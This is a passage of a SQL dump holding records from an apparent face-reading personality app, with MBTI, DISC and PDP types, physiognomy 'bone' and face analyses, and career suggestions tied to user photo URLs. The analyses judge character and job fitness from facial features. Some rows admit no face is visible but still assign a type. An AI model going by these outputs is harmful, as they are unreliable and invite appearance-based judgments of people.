\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰而不突兀,属木水形偏文质型,骨肉匀称,抗压方式以理性分析和持久稳守为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁秀直,嘴唇柔中带韧,整体五官清秀偏理性知性气质。\", \"personalitySummary\": \"内敛理智,情感深而不外露,做事有原则与规划感,重个人空间与思考深度,处事温和但内心主见坚定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263135, 1772263135, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (44, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又具同理心,重视自我节奏与精神空间,适合深度思考与创意表达型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨骼纤细偏木形,骨肉匀称,颧骨不突下颌略尖,格局重思考与创意,偏谋划与独立完成型路线。\", \"faceAnalysis\": \"额头偏高顺滑、眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人安静理性、带距离感的气质。\", \"personalitySummary\": \"性格内向克制,思路细腻有逻辑,情绪稳定但不善外露,做事有计划感与完美倾向,人际上温和有分寸,重视边界与深度连接。\"}', NULL, NULL, 1, 0, 200, NULL, 1772263164, 1772263164, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (45, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻内敛,洞察力强,重视内在秩序与价值感,适合深度思考与长期规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉均匀不突兀,线条修长而不失韧性,决断偏稳健,抗压以内在消化和持久推进为主。\", \"faceAnalysis\": \"额头柔和偏高、眼神安静专注、鼻梁清秀、嘴唇自然内收,下巴略尖带柔韧感,整体显理性含蓄。\", \"personalitySummary\": \"性格安静理性,重视思考与自我空间,做事有计划、有责任感,人际中温和有边界,偏向深度创造与独立完成型任务。\"}', NULL, NULL, 1, 0, 100, NULL, 1772263566, 1772263566, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (46, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,善于互动与激励他人,适合创造性与变化性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强但肉感充足,气质温和包容,稳定安全,耐受与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微翘显顺,人缘佳、亲和力强。\", \"personalitySummary\": \"外向热情,善于表达与倾听,重视情感连接与深度交流,富有想象力和创造力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263697, 1772263697, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (47, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,好奇心强,擅长与人连接并营造轻松氛围,适合创造性与互动性强的领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与环境适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,嘴部微翘,表情单纯好奇,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"外向友好,内在敏感细腻,重视情感与深度交流;做事富有热情与创造力,乐于探索新事物并带动周围人。\"}', NULL, 38, 1, 1, 1, 1772263738, 1772263728, 1772263740, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (48, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"抽象思维突出,重视逻辑与系统性,擅长在不完整信息中构建结构化判断与远期规划。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg\"], \"boneAnalysis\": \"由于无清晰头面部骨骼轮廓可见,只能假设其偏理性稳健型骨相,重视结构与秩序。\", \"faceAnalysis\": \"当前图片未呈现清晰人脸,仅见强光与天花板结构,无法进行具体面相部位分析。\", \"personalitySummary\": \"倾向独立思考与理性决策,偏内向克制,重视规则和系统,追求长期价值与持续优化。\"}', NULL, 40, 1, 1, 1, 1772273330, 1772273315, 1772273332, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (49, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、重视结构与规划,做事有节奏感和持久度,适合承担复杂决策与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg\"], \"boneAnalysis\": \"面部骨相信息严重不足,仅见额区与侧面轮廓一角,暂以骨感偏分明、整体偏理性稳健气质作抽象模拟。\", \"faceAnalysis\": \"从现有画面仅能见少量发际与轮廓,无法完整依据传统面相做部位细分判断,只可保守推定为偏理性内敛气质。\", \"personalitySummary\": \"模拟类型偏内向思考者,重逻辑与系统性,行事谨慎务实,专注长期目标与专业深耕,在独立思考和策略规划中更能发挥优势。\"}', NULL, NULL, 1, 0, 1, NULL, 1772422915, 1772422915, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (50, 6, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-02T03:42:57.180Z\", \"confidence\": 100, \"completedAt\": \"2026-03-02T03:42:57.180Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 37, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1772422977, 1772422977, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (51, 7, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、目标导向清晰,擅长规划与执行,在结构化环境中表现突出,具长远发展潜力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg\"], \"boneAnalysis\": \"骨相端正,颧鼻协调不突兀,颌骨结实承载力强,上停与中停均衡,属稳健开拓型格局,适合担纲核心责任。\", \"faceAnalysis\": \"额头平阔饱满,眉眼清晰专注,鼻梁端正略挺,嘴型收敛有度,下巴方正有力,整体显沉稳理性与执行力。\", \"personalitySummary\": \"思维缜密,有规划意识与责任感,行动节奏稳中有进,对目标坚持度高,处事理性克制,人际中略带距离感但可信赖。\"}', NULL, NULL, 1, 0, 1, NULL, 1772428086, 1772428086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (52, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静克制,思维细腻深邃,兼具理性分析与温和共情,适合在稳定而需创意与规划的环境中长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨量匀称偏纤细,为木水兼具之相,骨感不突兀而脉络清晰,格局重于思考与审美判断,擅长以柔性持续承压。\", \"faceAnalysis\": \"额头偏高饱满,眼神柔中带定,鼻梁清秀,唇形收敛,下巴略尖,整体给人理性内向、思路清晰而不张扬之感。\", \"personalitySummary\": \"内向深思型,重视原则与边界,做事有规划感与责任心;情绪外显不多却具同理心,人际偏安静克制,习惯以专业与作品说话。\"}', NULL, NULL, 1, 0, 2, NULL, 1772518933, 1772518933, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (53, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、冷静克制,擅长体系化规划与长期布局,重视效率与结果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨骼匀称不突兀,颧鼻稳而不霸,下颌承载力佳,上停清朗、中停坚实、下停厚稳,格局重在谋划与稳健推进。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳专注,鼻梁挺直收束有力,嘴型紧实偏直率,下颌轮廓清晰,整体给人理性克制、目标明确之感。\", \"personalitySummary\": \"内向理性,重视逻辑与结构,决策审慎而有主见;偏好独立思考与深度研究,人际保持适度距离,擅长在复杂情境中制定长期策略并稳步推进。\"}', NULL, NULL, 1, 0, 2, NULL, 1772520541, 1772520541, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (54, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密果断,擅长抽象推演与系统规划,重视长期价值与可控风险。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨架清晰而不突兀,颧区略显力量但内敛,将军骨与下颌稳固,属稳健谋划型格局,重视结构与秩序。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注内敛,鼻梁端正稳健,嘴型收敛有度,下巴轮廓分明,整体给人理性、克制且有主见的印象。\", \"personalitySummary\": \"性格独立冷静,逻辑感强,偏内向思考型,重视规则与效率,做事有计划、有原则,关注长期布局,社交上有边界感但可靠可信。\"}', NULL, 52, 1, 0, 200, NULL, 1772520586, 1772520593, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (55, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性缜密、目标清晰,重视长期布局与系统性成就,兼具专注深耕与稳健掌控能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨架端正紧致,五行为金水兼具,骨肉停匀,颧骨含而不露、下颌稳实,格局偏中高,宜以智谋统筹和专业深耕见长。\", \"faceAnalysis\": \"额头饱满开阔,眼神内敛而专注,鼻梁端正稳固,唇形收敛理性,下巴略方显坚毅,整体面相偏冷静克制。\", \"personalitySummary\": \"思维高度抽象与系统化,重逻辑与效率,做事有计划有节奏,人际交往内敛克制但可靠,擅在相对独立和高要求环境中发挥战略与专业优势。\"}', NULL, 54, 1, 0, 2, NULL, 1772520623, 1772523215, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (56, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"思维谨慎稳健,重视现实与责任,做事有规划,能在长期项目和复杂环境中稳定推进目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg\"], \"boneAnalysis\": \"骨相偏土金形,骨肉匀称略偏厚重,颧骨不张但有力,下颌承载感强,整体气质务实稳健,以守成见长。\", \"faceAnalysis\": \"额头宽平、眼神内敛稳定,鼻梁端正偏实,嘴型收敛,下颌与腮部较厚,整体表情克制理性。\", \"personalitySummary\": \"性格内敛理智,责任心强,重视规则和秩序,做事有条理有耐心,偏向深思熟虑后再行动,可靠可信,适合承担长期稳定而关键的职责。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535666, 1772535666, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (57, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实,思路清晰,重视责任与结果,适合承担长期稳定而高标准的工作任务。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨感含蓄不外露,颧骨内敛带角,面廓偏长方形,上停与中停协调,下颌骨线条清楚,属稳健持久型格局。\", \"faceAnalysis\": \"额头平阔顺正,眼神沉稳内敛,鼻梁端正,嘴型收敛,下巴略尖偏窄,整体五官紧致理性。\", \"personalitySummary\": \"性格内敛谨慎,有条理而重规则,做事稳妥细致,抗压能力佳但情绪表达节制,更偏向理性分析与实际成效。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535717, 1772535717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (58, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实细致、思路清晰,责任感强,重视承诺与结果,适合稳健推进型工作与管理角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛不张扬,颌骨稳厚承载力佳,骨肉均衡,格局以稳健守成、注重长期积累见长。\", \"faceAnalysis\": \"额头开阔偏方,眼神凝定带戒心,鼻梁顺直山根清晰,嘴形收敛有度,下巴略方,整体给人理性稳重、做事有分寸感。\", \"personalitySummary\": \"性格内敛理性,重视秩序与规则,行事谨慎踏实,有担当不轻言放弃,对自己和他人要求较高,适合负责关键细节与长线项目。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535749, 1772535749, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (59, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、判断稳重,擅长规划与分析,重视长期价值与现实落地,适合在复杂环境中做决策与统筹。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg\"], \"boneAnalysis\": \"五行偏土金形,骨架端正不夸张,骨肉均衡偏含蓄,决断稳中带慎,抗压方式以冷静思考、稳健推进为主,擅长在中长期阶段持续发力。\", \"faceAnalysis\": \"额头较饱满,眼神内敛专注,鼻梁端正,嘴型收敛,下巴略内收但轮廓清晰,整体给人理性、稳重、审慎之感。\", \"personalitySummary\": \"性格内敛理性,重视逻辑与结构,做事先谋后动,偏好独立思考与深度研究,人际上有边界感但可靠度高,适合作为长期项目与关键事务的负责人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535779, 1772535779, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (60, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,创意十足,擅长用幽默与热情影响他人,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面部线条柔中带劲,骨感不重但轮廓清晰,属于火木偏盛之相,重在灵动与扩散影响力。\", \"faceAnalysis\": \"圆润额头与上扬眉眼给人亲和感和少年气,神态生动,情绪表达自然,善于拉近人际距离。\", \"personalitySummary\": \"重视兴趣与价值认同,直觉主导,点子多,表达欲强,乐于社交与分享,喜欢在轻松自由的环境中高效输出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772607899, 1772607899, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (61, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情,创意十足,善于沟通与启发他人,适合需要人际互动和创意表达的领域。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相柔中带刚,上庭开朗,中停丰盈,下停稳实,整体气质活跃而不失稳定支撑。\", \"faceAnalysis\": \"五官圆润亲和,笑意明显,整体给人开放友善、易于接近且富有幽默感的印象。\", \"personalitySummary\": \"思维发散、有想象力,重视情感与价值认同,人际表达自然灵活,乐于尝试新事物并激发团队氛围。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608243, 1772608243, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (62, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,有创意与感染力,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"上停饱满、颧区柔和不突,中停与下停过渡圆顺,骨感适中,重在亲和力与适配力而非强势掌控。\", \"faceAnalysis\": \"额头圆润开阔,眼神生动带笑,嘴角上扬,整体给人亲切乐观、灵动机敏的印象。\", \"personalitySummary\": \"性格热情真诚,富有好奇心与想象力,乐于表达与分享,善于激励他人与营造轻松氛围,创意多且点子活跃。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608768, 1772608768, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (63, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情、思维活跃,善于启发他人与整合资源,适合在变化环境中发挥影响力与创造力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"颧骨与下颌圆润不失力度,骨肉匀称,属木火偏旺之相,重在创意表达与人际影响,抗压方式以灵活变通为主。\", \"faceAnalysis\": \"额头饱满开阔,眼神灵动带笑,鼻口协调度高,整体面相亲和中带果断,善社交且具一定执行力。\", \"personalitySummary\": \"性格开朗真诚,思维发散而富想象,重视价值与理想,待人友善有感染力,适合在团队中承担创意与联络角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772768944, 1772768944, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (64, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"形象开朗温和,思维活跃有创意,人际感知敏锐,适合做连接资源、启发他人的角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相圆润不突兀,骨肉均衡,气质偏灵动与亲和,重在人缘与适应力而非强势压迫感。\", \"faceAnalysis\": \"额头圆阔,五官柔和舒展,笑眼弯弯,整体给人亲切、外向、易亲近的印象。\", \"personalitySummary\": \"热情友好,想象力强,重视价值与意义,善于与人沟通联结,适合在多变环境中发挥创意与影响力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772769074, 1772769074, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (65, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、重视逻辑与结构,擅长规划与评估,在稳定框架中持续优化与精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相匀称偏稳,颧额不过分外张,属谋划与判断型,多以深思熟虑与持续精进取胜。\", \"faceAnalysis\": \"额庭饱满、眼神专注,鼻部端正,嘴角收敛,整体给人理性内敛、思考充分后再行动的印象。\", \"personalitySummary\": \"理性冷静,重视体系与长远收益,偏内向不事张扬,做事有计划感与原则边界,适合策略规划与专业深耕。\"}', NULL, NULL, 1, 0, 100, NULL, 1772777210, 1772777210, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (66, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、擅长系统规划与判断,全局视角突出,适合承担决策与策略类核心岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相端正不张扬,骨肉均衡偏理性持重型,颧区与下颌承载力佳,属稳中带锋,长线发展潜力强。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注稳定,鼻梁端正有力,嘴型收敛清晰,下巴稳实,整体给人思虑深远、行事有度的印象。\", \"personalitySummary\": \"思维缜密独立,重逻辑与结构,决策前充分评估风险与收益,人际中有边界感但可靠度高,善于在复杂环境中找到最优解。\"}', NULL, NULL, 1, 0, 101, NULL, 